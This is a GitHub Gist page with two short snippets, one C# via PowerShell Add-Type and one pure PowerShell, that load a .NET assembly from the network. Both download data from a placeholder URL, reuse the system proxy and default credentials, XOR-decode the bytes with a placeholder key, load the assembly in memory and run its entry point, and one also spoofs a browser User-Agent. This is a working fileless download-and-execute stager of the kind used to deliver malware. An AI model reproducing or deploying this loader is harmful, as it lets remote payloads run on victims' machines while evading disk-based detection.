Last active
October 12, 2023 23:19
-
-
Save Arno0x/b95057cf3110b6bdb11d7c1cdb25ae2e to your computer and use it in GitHub Desktop.
Load a .Net assembly dynamically from PowerShell
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$Source = @" | |
using System; | |
using System.Net; | |
using System.Reflection; | |
namespace LoadAssembly { | |
public static class LoadAssembly { | |
public static void load() { | |
WebClient webclient = new WebClient(); | |
IWebProxy defaultProxy = WebRequest.DefaultWebProxy; | |
if (defaultProxy != null) { | |
defaultProxy.Credentials = CredentialCache.DefaultCredentials; | |
webclient.Proxy = defaultProxy; | |
} | |
byte[] b = webclient.DownloadData("https://xxxxx"); | |
string key = "xxxxxxxxx"; | |
for(int i = 0; i < b.Length; i++) { b[i] = (byte) (b[i] ^ key[i % key.Length]); } | |
string[] parameters = new string[] {"acesstoken"}; | |
object[] args = new object[] {parameters}; | |
Assembly a = Assembly.Load(b); | |
MethodInfo method = a.EntryPoint; | |
object o = a.CreateInstance(method.Name); | |
method.Invoke(o, args); }}} | |
"@ | |
Add-Type -TypeDefinition $Source -Language CSharp | |
[LoadAssembly.LoadAssembly]::load() |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$wc=New-Object System.Net.WebClient;$wc.Headers.Add("User-Agent","Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:49.0) Gecko/20100101 Firefox/49.0");$wc.Proxy=[System.Net.WebRequest]::DefaultWebProxy;$wc.Proxy.Credentials=[System.Net.CredentialCache]::DefaultNetworkCredentials | |
$k="xxxxxxx";$i=0;[byte[]]$b=([byte[]]($wc.DownloadData("https://xxxxx")))|%{$_-bxor$k[$i++%$k.length]} | |
[System.Reflection.Assembly]::Load($b) | Out-Null | |
$parameters=@("arg1", "arg2") | |
[namespace.Class]::Main($parameters) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment